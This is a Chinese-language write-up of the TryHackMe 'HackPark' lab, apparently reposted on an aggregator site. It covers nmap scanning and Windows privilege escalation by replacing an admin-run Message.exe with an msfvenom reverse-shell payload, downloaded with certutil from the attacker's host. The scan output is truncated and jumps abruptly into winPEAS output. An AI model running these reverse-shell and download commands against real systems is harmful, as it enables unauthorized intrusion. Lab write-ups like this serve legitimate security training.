栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 软件开发 > 后端开发 > .Net

Tryhackme - hackpark (考点:hydra & BlogEngine.NET 3.3.6 & autologon登录信息提权 & abnormal service提权)

.Net 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

Tryhackme - hackpark (考点:hydra & BlogEngine.NET 3.3.6 & autologon登录信息提权 & abnormal service提权)

1 扫描

主要就是80进web搜集信息

C:root> nmap -A 10.10.16.216
Starting Nmap 7.80 ( https://nmap.org ) at 2020-05-26 01:55 EDT
Note: Host seems down. If it is really up, but blocking our ping probes, try -Pn
Nmap done: 1 IP address (0 hosts up) scanned in 3.64 seconds
C:root> nmap -A 10.10.16.216 -Pn
Starting Nmap 7.80 ( https://nmap.org ) at 2020-05-26 01:55 EDT
Nmap scan report for 10.10.16.216
Host is up (0.27s latency).
Not shown: 998 filtered ports
PORT     STATE SERVICE    VERSION
80/tcp   open  tcpwrapped
| http-methods: 
|_  Potentially risky methods: TRACE
| http-robots.txt: 6 disallowed entries 
| /Account               
     ,((((((((((((((((((/,  .*//((/####### .(. ((((((
   ((((((..******************/@@@@@######* /((((((
   ,,..**********************@@@@@@@@@@(***,#### ../(((((
   , ,**********************#@@@@@#@@@@*********##((/ /((((
   ..(((##########*********/#@@@@@@@@@@@@@@#****************.. /((
   .((########################(/*,. ./(((((((((((.
                (((((((((((((((((((((((((((/"
                       by carlospolop
ECHO is off.
Advisory: winpeas should be used for authorized penetration testing and/or educational purposes only.Any misuse of this software will not be the responsibility of the author or of any other collaborator. Use it at your own networks and/or with the network owner's permission.
ECHO is off.
_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-> [*] BASIC SYSTEM INFO <_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-
_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-> [+] WINDOWS OS <_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-
[i] Check for vulnerabilities for the OS version with the applied patches

看到运行的服务里
有wscheduler.exe好像和那个可疑目录名字上有点关联,以及还有其他exe比如message这些比较可疑的,平常难见的,可以稍微留心,说不定都有用

进入那个可疑目录看看,看到有message.exe。对应了上面扫出来的可疑服务进程

再深入挖掘,event里看log,发现admin在不断打开和关闭运行着message.exe,可能就是不断发信和关闭,再发信吧。

这样也明白了。是admin再运行这个message.exe,而这个目录我们又有写的权限。

伪造一个新的message.exe,但其实是弹shell文件。这样admin执行它时,实际上在弹shell给我们,如此就提权了。

msfvenom -p windows/shell_reverse_tcp LHOST=10.9.23.70 LPORT=443 -e x86/shikata_ga_nai -f exe -o Message.exe

把靶机目录下老的message.exe改为其他文件,免得重复会出问题。

ren Message.exe Message.bak

再传进来新的message

certutil -urlcache -split -f http://10.9.23.70/Message.exe Message.exe

过一会,监听就收到了,拿下

转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/923091.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号